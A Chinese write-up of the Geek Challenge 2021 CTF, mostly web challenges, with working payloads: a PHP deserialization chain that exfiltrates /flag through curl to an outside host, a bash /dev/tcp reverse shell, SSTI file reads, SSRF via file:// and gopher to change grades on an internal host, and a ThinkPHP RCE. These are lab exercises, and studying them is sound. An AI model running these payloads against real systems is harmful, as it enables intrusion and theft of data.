当前位置: 首页 > news >正文

极客大挑战 2021

题量很大,收获挺多,持续时间也长,据说结束之后会再持续一段时间,然后题目会开源。

WEB

Dark

暗网签到,难以置信

Welcome2021

改个请求方法会提示你文件,再进去就好了

babysql

直接把请求包扔sqlmap里,跑就完事了

sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump

babyPOP

题目:

<?php
class a {public static $Do_u_like_JiaRan = false;public static $Do_u_like_AFKL = false;
}class b {private $i_want_2_listen_2_MaoZhongDu;public function __toString(){if (a::$Do_u_like_AFKL) {return exec($this->i_want_2_listen_2_MaoZhongDu);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}class c {public function __wakeup(){a::$Do_u_like_JiaRan = true;}
}class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}if (isset($_GET['data'])) {unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);
}

很简单的pop链,链子很好构造,我最初的想法是:

调用exec,就要a::$Do_u_like_AFKL=true,全局中只有利用d类的invoke才行,调用toString需要把对象当作字符串用,刚好也在invoke里,如何调用invoke?e类的destruct就可以了,我之前是如何调用destruct的呢?我通常把这个类对象复制一份,再把原先那个unset,序列化原对象的副本就好了,但这个方法一般只适用于destruct为链子第一段,但这题不一样,需要满足里面的if语句,欲使a::$Do_u_like_JiaRan=true就要经过c类的wakeup,这里我刚开始就不会了。c怎么和e连起来?

这是最早的坎,还是那句话,太菜了

后来彻查destruct用法,又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义:

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

所以当我们定义一个不存在的变量,再把这个变量创建为目标类的实例就好,因为这个对象本来就不存在,所以满足没有任何引用即满足destruct调用条件。

链子可以连起来了,那就没什么思路问题了,注意b里的私有属性,在b里改就行。

exp:

<?php
class b {private $i_want_2_listen_2_MaoZhongDu;public function __construct(){$this->i_want_2_listen_2_MaoZhongDu="curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`";}
}class c {public $cv;public function __construct(){$this->cv=new e();}
}class d {public $value;public function __construct(){$this->value=new b();}
}class e {public $afkl;public function __construct(){$this->afkl=new d();}
}$a=new c();
echo(base64_encode(serialize($a)));

这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制,使用base64带出,发现全是小写无法解密。这里写个脚本用于执行payload:

import requests
import base64while 1:com = str(input('>>'))a = 'O:1:"c":1:{s:2:"cv";O:1:"e":1:{s:4:"afkl";O:1:"d":1:{s:5:"value";O:1:"b":1:{' \'s:31:"\x00b\x00i_want_2_listen_2_MaoZhongDu";s:%s:"%s";}}}}' % (len(com), com)data = base64.b64encode(a.encode())b = requests.get('http://1.14.102.22:8114/?data=%s' % data)print(a)print(b.text)

在DNSlog里外带,但是我这里不知道是不是因为linux的原因,No Data

放一个朋友的

采用反弹shell发现弹不了不知道为啥。所以这里采用curl http://公网ip:端口/base64 /flag的方法。

这里进行反弹直接请求包解码出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNUMHnLX-1675906165629)(https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/2021_geek_challenge_web_babypop_3.png)]

where_is_my_FUMO

这题正向连接,也不知道是不是这么叫,反正这个箭头很有讲究,参考链接

题目:

<?php
function chijou_kega_no_junnka($str) {$black_list = [">", ";", "|", "{", "}", "/", " "];return str_replace($black_list, "", $str);
}if (isset($_GET['DATA'])) {$data = $_GET['DATA'];$addr = chijou_kega_no_junnka($data['ADDR']);$port = chijou_kega_no_junnka($data['PORT']);exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {highlight_file(__FILE__);
}

因为过滤空格,所以使用tab绕过

payload:DATA[ADDR]=ip&DATA[PORT]=port%091<%260

反弹成功后,flag居然是一张图片,那就只能二进制读取或者base了,而且终端有长度限制,所以使用tail与head截取

cat /flag.png | base64 | tail -n +1|head -n 8000

cat /flag.png | base64 | tail -n +8001|head -n 8000

每次读8000行,读两次,把读取到的base64编码转为图片就好了

babyphp

注释–>robots.txt–>noobcurl.php

<?php
function ssrf_me($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);curl_close($ch);echo $output;
}if(isset($_GET['url'])){ssrf_me($_GET['url']);
}
else{highlight_file(__FILE__);echo "<!-- 有没有一种可能,flag在根目录 -->";
}

尝试file://伪协议读取?url=file:///flag出现flag

babyPy

最基础的SSTI,但我对这个python web不太了解,所以边百度边学的,放个链接

蒙的flag文件名

payload:{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('flag').read()}}

蜜雪冰城甜蜜蜜

说要买到第9号饮料,F12打开每个饮料都有一个id,随便找一个改成9,再点击这个商品就出flag了

雷克雅未克

恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军!

这题很蠢,先看Cookie,查了自己经纬度,发现它把经度设置为y,纬度设置为x

那我查到雷克雅未克直接改Cookie不就行了吗,它验证的时候却反过来,x是经度,y是纬度

还有这题是改check.php的包,添加X-Forwarded-For: 5.23.95.255,Cookie: x=64.963943; y=-19.02116,回返回jsfuck代码

直接控制台打印就行

人民艺术家

用它给的帐号密码登录,抓返回包,发现有个JWT,放jwt.io里,改成如下

我也不知道怎么获得密钥,朋友和我说的爆破出1234,离大谱,把改好的发包过去即可看到文件名

访问即得flag

babyxss

直接闭合后面的符号,然后双写绕过

payload:'");</script>';}<script>alealertrt(1)</script>

Baby_PHP_Black_Magic_Enlightenment

套套套套套套套

第一层

PHP is the best Language
Have you ever heard about PHP Black Magic
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;    
if($temp>9999){echo file_get_contents('./2.php');echo "How's that possible";
} 
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen?>

去了解一下is_numeric就可以了,payload:?password=10000a,提示居然在注释里,我找了好久

第二层

Just g1ve it a try. <?php
error_reporting(0);$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{if ($_GET['user'] == $_GET['pass'])echo 'no no no no way for you to do so.';else if (sha1($_GET['user']) === sha1($_GET['pass']))die('G1ve u the flag'.$flag);elseecho 'not right';
}
elseecho 'Just g1ve it a try.';
highlight_file(__FILE__);
?>

直接数组绕过就好了

payload:?user[]=a&pass[]=b

获得的flagbaby_revenge.php,进入第三层去掉flag访问baby_revenge.php

第三层

Just G1ve it a try. <?php
error_reporting(0);$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{if ($_GET['user'] == $_GET['pass'])echo 'no no no no way for you to do so.';else if(is_array($_GET['user']) || is_array($_GET['pass']))die('There is no way you can sneak me, young man!');else if (sha1($_GET['user']) === sha1($_GET['pass'])){echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";die('Genji:We will see again Hanzo'.$flag.'<br/>');}elseecho 'Wrong!';
}elseecho 'Just G1ve it a try.';
highlight_file(__FILE__);
?>
//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡

这里我直接用的sha1碰撞

payload:

?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

我本地php测试发现他俩是不一样的,网上其他博主发的碰撞在我本地也显示也不一样,但是在这个靶机里这俩sha1一样,奇怪,根据提示访问here_s_the_flag.php进入第四层

第四层

<?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {echo("no no no!<br>");exit();
}$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{echo "flag: $flag";
}
highlight_file(__FILE__);
?>

这题刚开始也不会后来想起来在xctf做过一题,url二次编码,浏览器还是啥本身接收了一串url就会url解码一遍了,所以编码一次过不了第一个if,编码两次就可以了,后面会再解码一次的。

payload:?id=%254c%256f%256e%2567%256c%256f%256e%2565

即得flag

期末不挂科就算成功

注释里发现debug.php,访问它

发现url是传入文件,我们传入index.php,会直接显示渲染过的index.php页面,所以使用php伪协议用base64读取index.php源码

payload:?file=php://filter/convert.base64-encode/resource=index.php

记住不要直接从F12里复制base,它会省略一部分base,导致解码后显示不全代码,完整解码后有以下php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>

很明显了,index.php传url,好像也没ban什么,这里采用gopher最强协议修改成绩,但在这之前我们需要知道内网的主机有哪些,可以爆破,但我这里查看/proc/net/arp和/etc/hosts两个文件。

两个文件里把在172.17.0.0/24网段下的拎出来

172.17.0.6	5769d2ff2afcIP address       HW type     Flags       HW address            Mask     Device
172.17.0.242     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.233     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.246     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.237     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.229     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.249     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.253     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.232     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.241     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.236     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.245     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.248     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.252     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.235     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.7       0x1         0x2         02:42:ac:11:00:07     *        eth0
172.17.0.240     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.239     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.244     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.231     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.251     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.255     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.234     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.243     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.238     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.247     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.230     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.250     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.254     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.1       0x1         0x2         02:42:02:bf:e7:e3     *        eth0

这里去掉没硬件地址的,也就那几个,试一试就发现了,毕竟172.17.0.7开了80端口,然后去百度怎么利用gopher传post值,为什么是post,因为get我没试出来,而且传账密这种东西一般就是post,记住ssrf要url二次编码

payload:

?url=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41

出flag

成全

payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=/flag

刚开始一条命令直接出,后来改题目了,复现的时候没做出来

RE

PWN

恋爱小游戏

连上就是shell

CRYPTO

MISC

In the Air

人家学校里才能做,好兄弟发的

easysend

领取以太坊测试币,发过去就行了

这是什么命令

Intro && Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt ;rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &

分开来分析
第一部分cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt
tac:文件内容倒序输出
nl:输出文件内容并加上行号
sort -k 2:将内容从a-z排序后输出
所以第一条命令的含义就是将flag.png两次base64的值倒序后按A-Z加上行号输出至flag.txt

第二部分rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &
rm -r:删除文件
nohup:不挂断地运行命令
php -S:启动内置的web服务器
所以第二条命令的含义是删除图片,并在后台不间断的运行web服务器,端口为2333

直接访问http://110.42.233.91:2333/flag.txt,拿到数据直接上脚本

f=open('2333.txt')
d=f.readlines()
e=['']*500
import base64
for i in d:ca=i.strip().split()print(base64.b64decode(ca[1]))e[int(ca[0])]=base64.b64decode(ca[1])
f=open('2333.png','wb')f.write(base64.b64decode(''.join(e[::-1])))
f.close()
print('ok')

flag在生成的图片里

其他的去好兄弟这里看吧

相关文章:

极客大挑战 2021

题量很大&#xff0c;收获挺多&#xff0c;持续时间也长&#xff0c;据说结束之后会再持续一段时间&#xff0c;然后题目会开源。 WEB Dark 暗网签到&#xff0c;难以置信 Welcome2021 改个请求方法会提示你文件&#xff0c;再进去就好了 babysql 直接把请求包扔sqlmap里&…...

C#开发的OpenRA加载文件的管理

C#开发的OpenRA加载文件的管理 在前面我们分析了mod.yaml文件,发现里面有很多文件列表, 比如下像下面的文件: Packages: ~^SupportDir|Content/cnc ~^SupportDir|Content/cnc/movies ^EngineDir $cnc: cnc ^EngineDir|mods/common: common ~speech.mix ~conquer.mix ~sounds…...

SSM实现文件上传

目录 SSM实现文件上传 1、修改from表单请求方式改为post&#xff0c;添加属性 2、修改springmvc配置文件&#xff0c;添加一下配置 3、后端方法 SSM实现文件上传 1、修改from表单请求方式改为post&#xff0c;添加属性&#xff1a; enctype"multipart/form-data"…...

OPENCV计算机视觉开发实践-图像的基本概念

1.图像与图形: 图像->客观世界的反映,图与像之结合 图->物体透射光与反射光的分布 像->人的视觉得对图的认识 图像->通过照相,摄像,扫描产生. 图形->通过数学规则产生,或者具有一定规则的图案.用一组符号或线条表示性质. 2.数字图像: 数字图像->称数码图像或…...

Android 9.0 ResolverActivity.java多个app选择界面去掉始终保留仅有一次

1.前言 在9.0的系统rom定制化开发过程中,在系统中安装同类型多个app的时候,在系统启动的过程中,会在启动launcher或播放器的过程中,在启动的过程中都是弹出选择框的,然后在选择启动哪个app,这些选择都是在ResolverActivity.java中完成的,所以需要在ResolverActivity.java…...

【算法 | 例题简答】相关例题讲解

目录 简答题 计算题 时间复杂度的计算 递归算法计算 背包问题&#xff08;0-1背包问题&#xff09; 回溯法 动态规划法 编程题 用回溯法解方程 动态规划法解决蜘蛛吃蚊子 用分治法解决抛硬币问题 用二分法分两边求最大值 简答题 1、什么是算法&#xff1f;算法有哪…...

浅谈AQS

1.前言 AQS是AbstractQueuedSynchronizer&#xff08;抽象同步队列&#xff09;的简写&#xff0c;它是实现同步器的基础组件&#xff0c;并发包下的锁就是通过AQS实现的。作为开发者可能并不会直接用到AQS&#xff0c;但是知道其原理对于架构设计还是很有帮助的。 那为什么说…...

关于服务连接器(Servlet)你了解多少?

Servlet 1 简介 Servlet是JavaWeb最为核心的内容&#xff0c;它是Java提供的一门动态web资源开发技术。 使用Servlet就可以实现&#xff0c;根据不同的登录用户在页面上动态显示不同内容。 Servlet是JavaEE规范之一&#xff0c;其实就是一个接口&#xff0c;将来我们需要定义…...

面对学员的投诉,中创教育是如何处理的?

客户满意度的检测指标是客户的期望值和服务感知之间的差距。当顾客购买商品时&#xff0c;对商品本身和企业的服务都抱有良好的愿望和期盼值&#xff0c;如果这些愿望和要求得不到满足&#xff0c;就会失去心理平衡&#xff0c;由此产生的抱怨和想"讨个说法"的行为&a…...

算法问题——排序算法问题

摘要 查找和排序算法是算法的入门知识&#xff0c;其经典思想可以用于很多算法当中。因为其实现代码较短&#xff0c;应用较常见。所以在面试中经常会问到排序算法及其相关的问题。但万变不离其宗&#xff0c;只要熟悉了思想&#xff0c;灵活运用也不是难事。一般在面试中最常…...

ArcGIS网络分析之构建网络分析数据集(一)

说明: 1. 本文主要用于演示网络分析服务的搭建过程。所以在此不会深入讨论网络分析服务的每一个细节,本文的目的就是让初学者学会使用网络分析服务进行基本的分析(主要针对后续的WEB开发):路径分析,最近设施点分析,以及服务区分析。 2.关于OD成本矩阵分析,多路径配送,…...

微电影的行业痛点有哪些?

微电影全称微型电影&#xff0c;又称微影。是指能够通过互联网新媒体平台传播&#xff08;几分钟到60分钟不等&#xff09;的影片&#xff0c;适合在移动状态、短时休闲状态下观看&#xff0c;具有完整故事情节的“微(超短)时”(几分钟-60分钟)放映、“微(超短)周期制作(7-15天…...

spark3.0源码分析-driver-executor心跳机制

前言 driver和executor心跳机制分为两种机制&#xff1a; 1、executor发送心跳机制 2、driver接受心跳机制 至于为何要分为两种&#xff0c;原因是在分布式场景中&#xff0c;服务的稳定性是无法保障的&#xff0c;例如executor宕机后无法发送心跳&#xff0c;故driver端需要…...

数据分析就要选择这款免费报表工具

对于一家企业来说&#xff0c;在日常运营的过程中本身就会产出很多的数据&#xff0c;那么这些数据本身就应该形成报表。可是如果只是选择手工的一种操作&#xff0c;确实需要浪费大量的人力物力。伴随着科技进入到快速发展的阶段&#xff0c;市面上更是出现了很多报表工具可以…...

node学习-3:服务器渲染和客户端渲染

1. 概念 一.服务端渲染&#xff0c;后端嵌套模板&#xff0c;后端渲染模板&#xff0c;SSR&#xff08;后端把页面组装好&#xff09; 做好静态页面&#xff0c;动态效果 把前端代码提供给后端&#xff0c;后端则把静态html以及里面的假数据给删除掉 通过模板进行动态生成h…...

LeetCode刷题笔记和周赛题解总目录

之前一段时间一直在刷LeetCode&#xff0c;在上面积累了很多笔记&#xff0c;这些笔记是做题过程中的一些重要积累和心得&#xff0c;现在将它们汇总和总结至此&#xff0c;此博客将不断更新。 刷题笔记(提供md和pdf两种格式可供下载&#xff0c;不断更新) LeetCode刷题笔记 …...

用类比方式学习编程中函数递归(个人理解仅供参考)(内含汉诺塔问题的求解)

目录 1.前言 2.递归的数学模型 3.相关的c语法 4.将递归的数学模型写成编程语言 5.利用类比方法将实际问题的代码写成函数递归的形式 例1: 例2: 6.汉诺塔问题的求解 1.前言 本人在学习函数递归编程方法的过程中&#xff0c;发现用类比的方式学习递归法可帮助我们在各种编…...

【云原生之Docker实战】使用Docker部署Taskover开源个人任务管理工具

【云原生之Docker实战】使用Docker部署Taskover 开源个人任务管理工具 一、Taskover介绍1.Taskover 简介2.Taskover功能二、检查本地docker环境1.检查系统版本2.检查docker版本3.检查docker状态4.检查docker compose版本三、下载Taskover镜像四、部署Taskover应用1.创建安装目录…...

5、SQL编程开发与注意事项

1.1 导入数据 导入测试库: 文档地址: https://dev.mysql.com/doc/employee/en/sakila-structure.html下载地址: https://github.com/datacharmer/test_db导入测试库: mysql -uroot -p -S < employees.sql 1.2 库操作 增:create database test character set utf8;删:d…...

Allegro如何通过视图显示区分动态和静态铜皮操作指导

Allegro如何通过视图显示区分动态和静态铜皮操作指导 用Allegro做PCB设计的时候,通常动态和静态铜皮是无法通过视图显示区分的,只能通过show element查看得知,如下图 左边铜皮是动态铜皮,右边是静态铜皮 但Allegro可以通过一些设置让动静态铜皮以不同效果显示出来 具体操…...

测试开发之Django实战示例 第十一章 渲染和缓存课程内容

第十一章 渲染和缓存课程内容在上一章中&#xff0c;使用了模型继承和通用关系建立弹性的课程、章节和内容的关联数据模型&#xff0c;并且建立了一个CMS系统&#xff0c;在其中使用了CBV&#xff0c;表单集和AJAX管理课程内容。在这一章将要做的事情是&#xff1a;创建公开对外…...

90%企业在探索的敏捷开发怎么做?极狐GitLab总结了这些逻辑与流程

本文来自&#xff1a; 彭亮 极狐(GitLab) 高级产品经理 毛超 极狐(GitLab) 研发工程师 极狐(GitLab) 市场部内容团队 “敏捷” 是指能够驾驭变化&#xff0c;保持组织竞争优势的一种能力。自 2001 年《敏捷宣言》以来&#xff0c;敏捷及敏捷开发理念逐渐席卷全球。中国信通院《…...

LeetCode-257. 二叉树的所有路径

目录题目分析递归法题目来源 257. 二叉树的所有路径 题目分析 前序遍历以及回溯的过程如图&#xff1a; 递归法 1.递归函数参数以及返回值 要传入根节点&#xff0c;记录每一条路径的path&#xff0c;和存放结果集的result&#xff0c;这里递归不需要返回值&#xff0c;代…...

测试用例该怎么设计?—— 日常加更篇(下)

&#x1f60f;作者简介&#xff1a;博主是一位测试管理者&#xff0c;同时也是一名对外企业兼职讲师。 &#x1f4e1;主页地址&#xff1a;【Austin_zhai】 &#x1f646;目的与景愿&#xff1a;旨在于能帮助更多的测试行业人员提升软硬技能&#xff0c;分享行业相关最新信息。…...

Java基础:接口

1.接口的概念 当不是所有子类, 而是多个子类都包含一个方法时, 为了代码书写规范性, 可以用自定义的接口来统一该方法的书写规范. 所以接口可以看作是一种书写规则. 接口是对行为的抽象 抽象类一般是书写在父类当中, 接口是单独书写的, 不是一种类 2.接口的定义和使用 3.接口…...

vuex基础入门:uniapp实现用户登录授权实战

1.背景 vuex是数据共享方案之一,本文以微信小程序登录授权为例介绍一下vuex常用属性state、getters、mutations、actions. 2.基于uniapp实现微信小程序登录授权流程 1.凡是需要用户登录授权信息的页面创建时created方法中需要判断用户是否登录,需要使用本地缓存的token调用服务…...

Windows系统从权限维持角度进行应急响应

一、基本介绍 红队攻击者在对目标进行渗透利用后通常都会进行权限维持&#xff0c;以达到持续利用的目的。而作为防守方进行应急响应时&#xff0c;应该如何与技术高超&#xff08;jiaohuajianzha&#xff09;的攻击者斗智斗勇呢&#xff1f;或许可以通过本文可以找到答案。以…...

什么是DNS解析?如何提升DNS解析安全?

DNS解析是保障网站正常运行的一项重要服务&#xff0c;DNS解析出现故障&#xff0c;就会导致网站无法被访问或者被劫持到其他的站点&#xff0c;对业务正常开展造成很大影响&#xff0c;因此网站管理人员要高度关注DNS解析的安全&#xff0c;才能确保网站的正常运转&#xff0c…...

电路学习笔记

电源部分 2s锂电池 6.4v-8.4v INA180A2IDBVR 电流检测放大器 OUT ADC1_CH0 to ESP32 可能功能&#xff1a;电源电流监测 稳压/电压监测 OUT ADC1_CH1 to ESP32 降压至2.046v-2.686v并通过电容保持稳定 可能功能&#xff1a;降压模块,电压监测 LDO ASM1117-3.3 低压差线性…...

C# 数据结构

目录 一、介绍 二、数组 三、List&#xff08;列表&#xff09; 四、Dictionary&#xff08;字典&#xff09; 五、Queue&#xff08;队列&#xff09; 六、Stack&#xff08;栈&#xff09; 七、Hashtable&#xff08;哈希表&#xff09; 结束 一、介绍 数据结构是计…...

网站上面的彩票快3怎么做/在线外链发布工具

工作步骤&#xff1a;下载内核源码和相关的软件包&#xff1b;把ipvs补丁Patch到内核源码中&#xff1b;重新编译支持ipvs的内核&#xff1b;启用新内核&#xff1b;安装ipvs管理工具ipvsadm&#xff1b;配置LVS,构建负载均衡集群。 (1) 下载安装所需组件&#xff1a; 标准内…...

java web 做购物网站/网站优化师

倍压整流电路图(一)倍压整流&#xff0c;是把较低的交流电压&#xff0c;用耐压较低的整流二极管和电容器&#xff0c;“整”出一个较高的直流电压。在一些需用高电压、小电流的地方&#xff0c;常常使用倍压整流电路。倍压整流电路一般按输出电压是输入电压的多少倍&#xff0…...

地方网站不让做吗/智慧营销系统平台

其它说明&#xff1a;windows2000下IIS安装和Windows2003下IIS安装可以参照该教程&#xff0c;大同小异 安装步骤&#xff1a; 1、插入windows xp安装光盘&#xff0c;打开控制面板&#xff0c;然后打开其中的“添加/删除程序” 2、在添加或删除程序窗口左边点击“添加…...

游戏运营备案官方网站/云盘搜

赋值语句的是内存地址引用&#xff0c;不是拷贝拷贝是导入copy包&#xff0c;分copy和deepcopy两种&#xff0c;即浅拷贝和深拷贝对于非嵌套数据 copy.copy 和 copy.deepcopy 没有区别 都会开辟新空间 存储数据有嵌套的数据 copy.copy没有办法保证数据的独立性,拷贝第一层的数据…...

湖北商城网站建设/百度竞价网站

https://zhidao.baidu.com/question/173351764.html 转载于:https://www.cnblogs.com/DixinFan/p/9219084.html...

网站开发合同范本/谷歌浏览器下载电脑版

在一个服务内的业务处理通常需要不同类的共同协作来完成&#xff0c;比如controller接收请求&#xff0c;校验参数&#xff0c;然后调用service类的业务处理方法&#xff0c;而service又需要调用持久层的方法来读取和写入数据&#xff0c;为了在日志中&#xff0c;将各个部分的…...